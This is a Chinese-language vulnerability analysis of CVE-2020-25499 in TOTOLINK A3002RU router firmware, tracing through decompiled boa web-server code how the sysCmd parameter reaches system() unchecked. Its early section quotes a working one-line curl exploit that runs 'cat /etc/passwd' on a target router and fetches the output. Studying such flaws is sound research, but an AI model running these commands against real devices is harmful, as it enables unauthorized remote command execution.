固件分析

解压固件包可以得到对应固件 TOTOLINK-A3002RU-V1.1.0-B20180416.1741.web,使用 binwalk 对固件进行解包得到固件中包含的文件系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
> binwalk -Me TOTOLINK-A3002RU-V1.1.0-B20180416.1741.web
squashfs-root> ls -al
total 0
drwxrwxrwx 1 yasar yasar 4096 Apr 16 2018 .
drwxrwxrwx 1 yasar yasar 4096 Jun 28 16:52 ..
drwxrwxrwx 1 yasar yasar 4096 Jun 28 16:54 bin
drwxrwxrwx 1 yasar yasar 4096 Apr 16 2018 dev
drwxrwxrwx 1 yasar yasar 4096 Apr 16 2018 etc
drwxrwxrwx 1 yasar yasar 4096 Apr 16 2018 home
lrwxrwxrwx 1 yasar yasar 8 Apr 16 2018 init -> bin/init
drwxrwxrwx 1 yasar yasar 4096 Apr 16 2018 lib
drwxrwxrwx 1 yasar yasar 4096 Apr 16 2018 mnt
drwxrwxrwx 1 yasar yasar 4096 Apr 16 2018 proc
drwxrwxrwx 1 yasar yasar 4096 Apr 16 2018 sys
lrwxrwxrwx 1 yasar yasar 8 Apr 16 2018 tmp -> /var/tmp
drwxrwxrwx 1 yasar yasar 4096 Apr 16 2018 usr
drwxrwxrwx 1 yasar yasar 4096 Apr 16 2018 var
lrwxrwxrwx 1 yasar yasar 8 Apr 16 2018 web -> /var/web

漏洞分析

GitHub 上由针对 CVE-2020-25499 的 EXP,利用非常简单,只有一行。

1
2
> curl -d "submit-url=%2Fsyscmd.htm&sysCmd=cat+/etc/passwd" -X POST http://{ip}/boafrm/formSysCmd
> curl http://{ip}/syscmd.htm

通过搜索字符串可以找到漏洞点。
1
2
> grep -Rn "formSysCmd" * 2>/dev/null
Binary file bin/boa matches

漏洞点位于 /bin/boa 中,boa 是一个轻量化的开源 Web Server,在 IOT 物联网设备中非常常见,由一个可执行文件来处理网页访问。
1
2
> file ./bin/boa
bin/boa: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header

用 IDA 对 /bin/boa 进行逆向分析,根据 EXP 的字符串信息,找到漏洞点所在的函数 int __fastcall sub_44DDCC(int a1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall sub_44DDCC(int a1)
{
int v2; // $s3
const char *v3; // $v0
int v5; // [sp+20h] [-6Ch] BYREF
char v6[104]; // [sp+24h] [-68h] BYREF

v5 = 0;
v2 = req_get_cstream_var(a1, "submit-url", byte_4758E0);
v5 = *(char *)req_get_cstream_var(a1, "sysCmdselect", byte_4758E0) - 48;
apmib_set(3005, &v5);
v3 = (const char *)req_get_cstream_var(a1, "sysCmd", byte_4758E0);
if ( *v3 )
{
snprintf(v6, 0x64u, "%s 2>&1 > %s", v3, "/tmp/syscmd.log");
unlink("/tmp/syscmd.log");
system(v6);
}
return send_redirect_perm(a1, v2);
}

boa 获取了输入请求的 sysCmd 参数,并没有进行校验,直接进行拼接后执行,造成了 RCE(Remote Code Execution)。

进一步的分析

boa 程序做进一步的逆向,理解其运行机制。当 boa 程序运行时,会进入 int __cdecl main(int argc, const char **argv, const char **envp),对命令行输入参数进行处理,然后进入 loop

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
...
loop(v9);
return 0;
}

函数 int __fastcall loop(unsigned int a1)while (1) 循环收包并传递给 int *__fastcall process_requests(int a1)。在 int *__fastcall process_requests(int a1) 会对数据包进行处理,并分步处理 headersbody
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
int *__fastcall process_requests(int a1)
{
...
while ( v2 )
{
time(&current_time);
if ( !*((_DWORD *)v2 + 24) || *(_DWORD *)v2 >= 0xBu )
{
LABEL_8:
switch ( *(_DWORD *)v2 )
{
case 0:
case 1:
case 2:
case 3:
v5 = ((int (__fastcall *)(char *, int))read_header)(v2, 4587520);
goto LABEL_11;
case 4:
v5 = ((int (__fastcall *)(char *, int))read_body)(v2, 4587520);
goto LABEL_11;
case 5:
v5 = ((int (__fastcall *)(char *, int))write_body)(v2, 4587520);
goto LABEL_11;
case 6:
v5 = ((int (__fastcall *)(char *, int))process_get)(v2, 4587520);
goto LABEL_11;
case 7:
v5 = ((int (__fastcall *)(char *, int))read_from_pipe)(v2, 4587520);
goto LABEL_11;
case 8:
v5 = ((int (__fastcall *)(char *, int))write_from_pipe)(v2, 4587520);
goto LABEL_11;
case 9:
v5 = ((int (__fastcall *)(char *, int))io_shuffle)(v2, 4587520);
LABEL_11:
v4 = v5;
break;
case 0xA:
v6 = req_flush(v2);
v4 = v6;
if ( v6 == -2 )
goto LABEL_18;
if ( v6 >= 1 )
v4 = 1;
break;
case 0xB:
case 0xC:
*((_DWORD *)v2 + 24) = 0;
v4 = 0;
*((_DWORD *)v2 + 1) = 2;
break;
default:
fprintf(stderr, "Unknown status (%d), closing!\n", *(_DWORD *)v2);
*(_DWORD *)v2 = 12;
v4 = 0;
break;
}
goto LABEL_24;
}
...
}
return result;
}

其中对于 body 的处理主要位于 int __fastcall write_body(int a1) 中,其调用 int __fastcall init_form(_DWORD *a1) 来处理 form 表单。
1
2
3
4
5
6
7
8
9
int __fastcall init_form(_DWORD *a1)
{
a1[1] = 2;
complete_env();
if ( a1[3] == 4 )
a1[35] = a1[34];
handleForm((int)a1);
return 0;
}

int __fastcall handleForm(int a1) 用于处理 HTTP 报文,通过读取路径匹配表项来调用对应的处理函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __fastcall handleForm(int a1)
{
...
v2 = strstr((const char *)(a1 + 0x8E4), "/boafrm/");
apmib_get(104, &unk_486D50);
if ( v2 )
{
v3 = v2 + 8;
v4 = (const void **)&off_486EB8; // off_486EB8 为表的开头
while ( 1 )
{
v6 = *v4;
if ( !*v4 )
break;
n = strlen(v3);
if ( n == strlen((const char *)v6) )
{
v4 += 2;
if ( !memcmp(v3, v6, n) ) // 比较路径
{
send_r_request_ok2(a1);
((void (__fastcall *)(int, _DWORD, _DWORD))*(v4 - 1))(a1, 0, 0); // 调用处理函数
sub_411EE4(a1);
return sub_411E6C();
}
}
else
{
v4 += 2; // 枚举表项
}
}
}
return send_r_not_found(a1);
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
LOAD:00486EB8 off_486EB8:     .word aFormwlansetup     # DATA XREF: handleForm+6C↑o
LOAD:00486EB8 # "formWlanSetup"
LOAD:00486EBC .word sub_44686C
LOAD:00486EC0 .word aFormwlanredire_0 # "formWlanRedirect"
LOAD:00486EC4 .word sub_43C974
LOAD:00486EC8 .word aFormwep # "formWep"
LOAD:00486ECC .word sub_43E538
LOAD:00486ED0 .word dword_46720C
LOAD:00486ED4 .word sub_44817C
LOAD:00486ED8 .word aFormtcpipsetup # "formTcpipSetup"
LOAD:00486EDC .word sub_41A170
LOAD:00486EE0 .word aFormpasswordse # "formPasswordSetup"
LOAD:00486EE4 .word sub_454188
LOAD:00486EE8 .word aFormnotice # "formNotice"
LOAD:00486EEC .word sub_45272C
LOAD:00486EF0 .word aFormlogin # "formLogin"
LOAD:00486EF4 .word sub_44FDC4
LOAD:00486EF8 .word aFormlogout # "formLogout"
LOAD:00486EFC .word sub_44DC10
LOAD:00486F00 .word aFormupload # "formUpload"
LOAD:00486F04 .word sub_450298
...
LOAD:00487030 .word aFormsyscmd # "formSysCmd"
LOAD:00487034 .word sub_44DDCC
LOAD:00487038 .word aFormsyslog # "formSysLog"
LOAD:0048703C .word sub_453A7C
...
LOAD:004870A8 .word aFormtr069confi # "formTR069Config"
LOAD:004870AC .word sub_45F8F8

其中便包含了漏洞点 formSysCmd 及对应漏洞函数 int __fastcall sub_44DDCC(int a1)

Reference